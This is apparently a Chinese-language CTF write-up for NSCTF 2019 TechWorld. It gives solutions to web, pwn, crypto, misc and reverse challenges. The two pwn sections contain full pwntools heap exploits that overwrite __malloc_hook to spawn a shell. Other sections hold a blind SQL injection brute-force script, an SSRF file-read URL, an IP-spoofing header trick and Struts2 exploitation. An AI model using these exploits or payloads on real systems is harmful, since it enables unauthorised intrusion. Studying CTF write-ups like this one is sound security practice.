CTF 安全

NSCTF 2019 TechWorld 信息安全挑战赛 WriteUp by impakho

前言

绿盟科技看雪 联合主办的赛事,持续 24 小时,共 20 道题。

比赛入口地址:http://2019techworld.nsctf.cn

这次比赛共 204 支队伍参加,有 47 支队伍解出题目。

第一次参加由绿盟举办的比赛,题目质量一般,有好有不好。

这次共解出 12 道题,排名第三。

Web - Web1

空白页面。用扫描器扫描网站目录,泄露出 /.DS_Store,然后用 ds_store 泄露脚本,泄露出 /CTF_Can_U_Tell_Me_The_Flag/.git/,然后用 GitHack 泄露得到 git 目录,然后用 git log 命令,就看到 flag 了。

Flag:flag{GZUL9vaZcE9bZKrfkRFnrQUNWzL49KPR}

Crypto - RSA

n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???

这题可参考 0ctf RSA?factordb 分解 n, 得到三个质因数,与平常两个质因数的有所不同,公式如下。

ϕ(p*q*r)=ϕ(N)=ϕ(q)*ϕ(p)*ϕ(r)=(p−1)*(q−1)*(r−1)

然后就是常规解法,直接可以写出解密脚本。

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

e = 59159
p = 782758164865345954251810941
q = 810971978554706690040814093
r = 1108609086364627583447802163
n = 703739435902178622788120837062252491867056043804038443493374414926110815100242619
d = modinv(e, (p-1)*(q-1)*(r-1))
print d
c = 449590107303744450592771521828486744432324538211104865947743276969382998354463377
destr = hex(pow(c, d, n))
destr = destr[2:-1]
print destr
print destr.decode("hex")

Flag:flag{1e257b39a25c6a7c4d66e197}

Misc - Naruto

jpg 图片末尾有一串东西 69616D70617373307264,转为字符串得到疑似密码 iampass0rd

使用各类工具检查图片,疑似只有 jphide 隐写。

尝试使用 jphs 解密,拿到 Flag

Flag: flag{jphid_is_good}

Web - Web2

题目给了两个端口,8085 是一个 apache2 默认页面,8086GitLab

起初猜测考察 GitlabCVE。网上查阅了一下,不过这个 11.1.4 版本好像没有什么好用的 CVE

然后注册,登录,尝试看一下有没有存在已经注册的用户,找到 /root 有个用户创建了一个项目 Administrator/MyProject

Dockerfile 文件显示 Flag 保存在 /flag.txt

index.php 是一个可以 SSRF 的后门,后门密码 md5 解一下得到 ctfun

构造合适的 payload 即可读出 Flag

/index.php?url=file:///flag.txt&pass=ctfun

Flag:flag{c42e23922b2e2964a7b7f971b1e6548b}

Pwn - Pwn1

保护全开,只有三个功能可用,分别是 add delete update

没有 show 泄露功能,而且每次 malloc 后都会 memset 置零清空堆上数据。

update 有个 off by null,而且 index 可以为负数,可以往 bss 低地址方向上的内存地址写东西。

那么可以往 bss 上的 stdout 写一段构造好的数据来泄露 libc 地址。

然后就是传统的 off by null,触发堆块合并,导致 chunk overlapping,然后改 fast chunkfdmalloc_hook 前面,malloc 两次,然后改 malloc_hookone_gadget 的地址,触发 malloc,就能 getshell

附上 exp

from pwn import *

local=0

if local:
    env={'LD_PRELOAD':'./libc6_2.23_10.so'}
    io=process('./pwn2_ld',env=env)
else:
    io=remote('39.106.184.130', 8089)

context.log_level='debug'

def add(size,content):
    io.sendlineafter('5.exit','1')
    io.sendlineafter('size:',str(size))
    io.sendafter('content:',content)

def delete(idx):
    io.sendlineafter('5.exit','2')
    io.sendlineafter('index:',str(idx))

def update(idx,size,content):
    io.sendlineafter('5.exit','4')
    io.sendlineafter('index:',str(idx))
    io.sendlineafter('size:',str(size))
    io.sendafter('content:',content)

payload=p64(0xfbad1880)+p64(0)*3+'\x00'
update(-16,0x30,payload)
io.recvuntil('\x00'*0x18)
libc_addr=u64(io.recv(8))-0x3c36e0
print hex(libc_addr)

add(0x218,'a')
add(0x218,'a')
add(0x218,'\x00'*0x1f0+p64(0x200)+p64(0x20))
add(0x218,'a')
delete(2)
update(1,0x218,'\x00'*0x218)
add(0x100,'a')
add(0x80,'a')
delete(2)
delete(3)
add(0x100,'a')
add(0x60,'a')
delete(3)

chunk_addr=libc_addr+0x3c4b10-0x23
print hex(chunk_addr)
update(4,0x8,p64(chunk_addr))
add(0x60,'a')

gadget_addr=libc_addr+0xf1147
print hex(gadget_addr)
add(0x60,'\x00'*0x13+p64(gadget_addr))

io.sendlineafter('5.exit','1')
io.sendlineafter('size:','1')

io.interactive()

Flag:flag{play_w1th_he4p_shrink}

Misc - Log analysis

日志里涉及到二分法爆破 Flag 值,直接写个脚本提取出来。

提取含 !=flag 的行即可。

import urllib

lines=open('access.log').readlines()

flag=''

for line in lines:
    if 'flag' not in line: continue
    try:
        line=line.split('?id=')[1].split('--')[0]
    except:
        continue
    line=urllib.unquote(line)
    if '!=' in line:
        line=line.split('!=')[1].split(',')[0]
        flag+=chr(int(line))
print flag[1:]

Flag:flag{3287fe300f28e24aefa2d86883832c9f}

Web - Web5

sql注入 类型的题目。union select,加减乘除符号被过滤,有部分函数例如 char 被过滤,不过过滤得不算特别多。

写个脚本爆破一下即可。

# -*- coding: utf-8 -*-

import requests
import urllib
import string

url='http://39.106.184.130:8082/index.php?id=%s'
table='1234567890abcdef'

key=''

for i in range(1,70):
    for j in table:
        print j
        payload='9 or (if(strcmp(mid((select flag from flag),%d,1),"%s"),1,0))' % (i,j)
        payload=urllib.quote(payload)
        r=requests.get(url % payload)
        if 'Attack' in r.content:
            print 'Attack'
            break
        if '一个字,干' not in r.content:
            key+=j
            break
    print key

Flag:flag{deb7cb73f0ea2b2af2d1e3715fd12044}

Web - Web6

题目提示“需要本地管理员才能访问页面”,那么添加上 Client-IP: 127.0.0.1 请求头去访问页面,即可拿到 Flag

Flag:flag{sgwxsSesSD232se14sdSVSsx}

Pwn - Pwn2

每次只能控制一个堆块,漏洞点是可以改 bss 上堆块地址的最后一个字节。

先用 free 掉的 small chunk 泄露 libc 地址,然后 fastbin dup 去改 malloc_hookone_gadget 地址。

只不过 one_gadget 使用 [rsp+0x50],然后 free 一下导致 malloc_printerr 来触发 malloc_hook

贴上完整脚本:

from pwn import *

local=0

if local:
    env={'LD_PRELOAD':'./libc6_2.23_10.so'}
    io=process('./pwn1_ld',env=env)
else:
    io=remote('39.106.184.130', 8090)

context.log_level='debug'

def welcome(name):
    io.sendafter('name\n',name)

def add(size):
    io.sendlineafter('6.exit\n','1')
    io.sendlineafter('size\n',str(size))

def delete():
    io.sendlineafter('6.exit\n','2')

def show():
    io.sendlineafter('6.exit\n','3')

def update(name):
    io.sendlineafter('6.exit\n','4')
    io.sendafter('name\n',name)

def edit(note):
    io.sendlineafter('6.exit\n','5')
    io.sendafter('note\n',note)

welcome('a')
add(0x80)
add(0x20)
delete()
add(0x10)
update('a'*0x30+'\x10')
delete()
add(0x20)
update('a'*0x30+'\x10')
show()
libc_addr=u64(io.recvline()[:-1].ljust(8,'\x00'))-0x3c4b78
print hex(libc_addr)

add(0x80)
edit('\x00'*0x10+p64(0)+p64(0x71))
update('a'*0x30+'\x30')
delete()
add(0x10)
update('a'*0x30+'\x30')
chunk_addr=libc_addr+0x3c4b10-0x23
print hex(chunk_addr)
edit(p64(chunk_addr))

add(0x60)
add(0x60)
gadget_addr=libc_addr+0xf02a4
print hex(gadget_addr)
edit('\x00'*0x13+p64(gadget_addr))
#pause()
delete()
io.interactive()

Flag:flag{pl4y_with_global_buffer_0verflow}

Reverse - Crackme_Middle

有两个函数,sub_401258 做了一些检查,输入长度需要满足16字节,而且在 a-zA-Z0-9范围里

sub_4012A9 是一个加密函数,调一下发现是逐字节加密,然后密钥表是64字节的,密钥表由 key: 0xDEADBEEFCAFEC0DE 扩展生成。原始密钥表是一个 CRC32 的置换表。这个加密算法又有点像 RC4

直接 dump 出最终的密钥表,将关键异或加密部分的算法提取出来,改写成 python 脚本爆破一下,就能拿到 Flag

附上爆破脚本:

import copy

enc_flag=[0x2E, 0x67, 0x58, 0x29, 0x65, 0x25, 0x65, 0x46, 0x14, 0x14, 0xF, 0x12, 0x28, 0x24, 0x15, 0x2D]

new_table=[
    0x2D, 0x3E, 0x27, 0x3D, 0x0D, 0x28, 0x06, 0x34, 0x1D, 0x0A, 
    0x00, 0x31, 0x1C, 0x24, 0x20, 0x04, 0x3B, 0x08, 0x02, 0x3A, 
    0x14, 0x2C, 0x25, 0x1F, 0x18, 0x1A, 0x1E, 0x2A, 0x21, 0x11, 
    0x3F, 0x38, 0x17, 0x30, 0x0F, 0x22, 0x03, 0x12, 0x35, 0x07, 
    0x3C, 0x33, 0x10, 0x26, 0x2B, 0x09, 0x2E, 0x37, 0x1B, 0x32, 
    0x16, 0x2F, 0x0C, 0x23, 0x13, 0x29, 0x15, 0x05, 0x01, 0x36, 
    0x39, 0x0E, 0x19, 0x0B, 0x00, 0x00, 0x00, 0x78, 0x2E, 0x67, 
    0x58, 0x29, 0x65, 0x25, 0x65, 0x46, 0x14, 0x14, 0x0F, 0x12, 
    0x28, 0x24, 0x15, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]

flag=''

for t1 in range(16):
    match = 0
    for t2 in range(0x20,0x7f):
        tmp = flag + chr(t2)
        table = copy.deepcopy(new_table)
        i = table[64]
        j = table[65]
        k = table[66]

        for t3 in range(len(tmp)):

            i = (i + 1) & 0x3F
            j = (table[i] + j) & 0x3F
            v18 = (i + table[j]) & 0x3F

            v10 = table[i] ^ table[j]
            table[i] ^= v10
            table[j] ^= v10
            v12 = table[i] ^ table[v18]
            table[i] ^= v12
            table[v18] ^= v12

            if t3 == t1:
                res = (ord(tmp[t3]) - ((table[i] + table[j] + table[v18]) & 0x3F)) & 0xFF
                if res == enc_flag[t3]:
                    match = 1
                    flag += chr(t2)
                    break
        if match == 1: break
    print flag

Flag:flag{ctfcoded20190616}

Web - Web3

题目是一个 struts2 showcase 网站,用 struts-scan 扫描,发现 struts2-045-2 漏洞可以打。

然后 flag/flag.txt,只不过没有权限读。

找到一个可以读 flag 的程序,有设置 suid,有权限读取 flag 文件。

Flag:flag{ef7c40a69bb58a7699fa27dd2f10f763}

Misc - Misc1

总共 319 字节,由 a空格 组成。

按照8字节一行输出,发现最后一个字符为 空格,去除每行最后一个 空格,还有7个字节,a 表示 1空格 表示 0,刚好表示二进制落在 ASCII 范围里。

得到字符串:

MYJULUFYP=FYY3JWN2A=TTVTHSWL==VWVKE5SC==

栅栏解密得到:

MFTVYYTWJYVVU3TKLJHEUWS5FNWSY2LCPA======

base32 解密得到:

ag\bvN+ZnjZNJZ]+m,ibx

然后凯撒解密就能得到 Flag

附上完整代码:

import base64

f=open('challenge.txt')

enc1=''

for i in range(40):
    tmp=f.read(8).ljust(8,' ').replace('a','1').replace(' ','0')
    tmp=int(tmp[:-1],2)
    enc1+=chr(tmp)
print enc1

enc2=''
for i in range(len(enc1)/4):
    enc2+=enc1[len(enc1)/4*0+i]
    enc2+=enc1[len(enc1)/4*1+i]
    enc2+=enc1[len(enc1)/4*2+i]
    enc2+=enc1[len(enc1)/4*3+i]
print enc2

enc2=base64.b32decode(enc2)
print enc2

for i in range(0x100):
    enc3=''
    for j in enc2:
        tmp=(ord(j)+i)&0x7f
        if tmp<0x20: tmp=0x20
        enc3+=chr(tmp)
    if enc3.startswith('flag'): print enc3

Flag:flag{S0_so_SO_b0r1ng}


标签: CTF 安全

Comments